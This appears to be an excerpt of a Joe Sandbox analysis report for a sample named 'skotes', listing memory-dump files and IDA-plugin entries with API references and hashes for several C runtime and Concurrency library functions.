Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: dc80763a3d87aa3e94a1b0121f1609b7361464582d2f4a9aad7c9f9d02d37ce0
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 1311A331200106ABDB55DE69C8A16EA77E7EF03364B74819EFD069F202DB71D902CBA4

Function 0062D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 0062D0A5

Strings

SleepConditionVariableCS, xrefs: 0062D05D
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0062D03B
kernel32.dll, xrefs: 0062D04C
WakeAllConditionVariable, xrefs: 0062D069

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 017d5ca92744293e5390b02857f7ea9e3c9ad791c595f517b4e53696a8725e69
Instruction ID: 85a86a814c56792868fb7e96a5aed445b46ed483fac1cab8c94c64a1b003135f
Opcode Fuzzy Hash: 017d5ca92744293e5390b02857f7ea9e3c9ad791c595f517b4e53696a8725e69
Instruction Fuzzy Hash: 0601F771682F2169F7353F717D00EAB118BCF42B88F0A3510AD05E7290DA90D8418C71

Function 0063E8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0063E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0063E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0063E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0063E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0063E9DC

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: 9b17aee4ad1cbc258d3a583d6ba2c302830390c7a673b90a623c3654d554005b
Instruction ID: 5401c0398ffcea4087cbd78b491b641525529c7ea6455a0b13188213d71fa12a
Opcode Fuzzy Hash: 9b17aee4ad1cbc258d3a583d6ba2c302830390c7a673b90a623c3654d554005b
Instruction Fuzzy Hash: 88413B75A00619EFCB49DF64C854AADB7B6FF88310F048169E906AB3D0CB75AE01CBD1

Function 0063D2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 0063D344
ListArray.LIBCONCRT ref: 0063D367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0063D370
ListArray.LIBCONCRT ref: 0063D3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0063D3B3

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 6ed711b44c277c0b7d94b81d13c7cd601a52b8c640641078e62eecb8edf1bce8
Instruction ID: 4dd49e557a7ca6e7d7db142ca5ca8015ce0c29ed3e88df90ff2c134b92212f6e
Opcode Fuzzy Hash: 6ed711b44c277c0b7d94b81d13c7cd601a52b8c640641078e62eecb8edf1bce8
Instruction Fuzzy Hash: 4F31AD35700610AFDB45EF64D895BAEB7A7EF89310F050099E8069B392CB70ED41CBD2

Function 006386C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 006386EE

Part of subcall function 0062EAD0: _SpinWait.LIBCONCRT ref: 0062EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00638702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00638734
List.LIBCMT ref: 006387B7
List.LIBCMT ref: 006387C6

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: e7fdb6275bd5c9061aee22d1fa0addcb2444cb899dfda521567778872f50955b
Instruction ID: 013065d9d52085237f5b2f00aa5f4a541374f31ec548a014d817f88869180228
Opcode Fuzzy Hash: e7fdb6275bd5c9061aee22d1fa0addcb2444cb899dfda521567778872f50955b
